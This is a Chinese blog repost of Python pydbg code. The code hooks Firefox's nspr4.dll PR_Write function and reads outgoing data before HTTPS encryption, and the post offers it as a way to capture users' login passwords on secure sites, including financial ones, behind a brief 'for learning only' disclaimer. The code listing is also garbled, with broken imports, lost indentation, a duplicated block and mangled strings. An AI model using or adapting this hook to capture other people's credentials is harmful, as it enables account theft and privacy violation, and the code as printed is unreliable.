python利用hook技术破解https的实例代码

1414次阅读  |  发布于5年以前

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到"大米"的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

复制代码 代码如下:

!/ur/bin/env python

from pydbg import
from pydbg.defines import

import utils
import sys

dbg = pydbg()
found_firefox = False

pattern = "password"

def ssl_sniff( dbg, args ):
buffer = ""
offset = 0

while 1:       
    byte = dbg.read_process_memory( args[1] + offset, 1 )       
    if byte != "x00":       
        buffer += byte       
        offset += 1  
        continue  
    else:       
        break  
if pattern in buffer:       
    print "Pre-Encrypted: %s" % buffer  
return DBG_CONTINUE       

寻找firefox.exe的进程

for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid

得到firefox的hook的 address

    hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")       
    if hook_address:       

添加hook的内容,包括他的pid,地址,嗅探类型

        hooks.add( dbg, hook_address, 2, ssl_sniff, None )       
        print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address       
        break  
    else:       
        print "[*] Error: Couldn't resolve hook address."  
        sys.exit(-1)       
    if found_firefox:       
        print "[*] Hooks set, continuing process."  
        dbg.run()       
    else:       
            print "[*] Error: Couldn't find the firefox.exe process."  
            sys.exit(-1)       

if found_firefox:
print "[] Hooks set, continuing process."
dbg.run()
else:
print "[
] Error: Couldn't find the firefox.exe process."
sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

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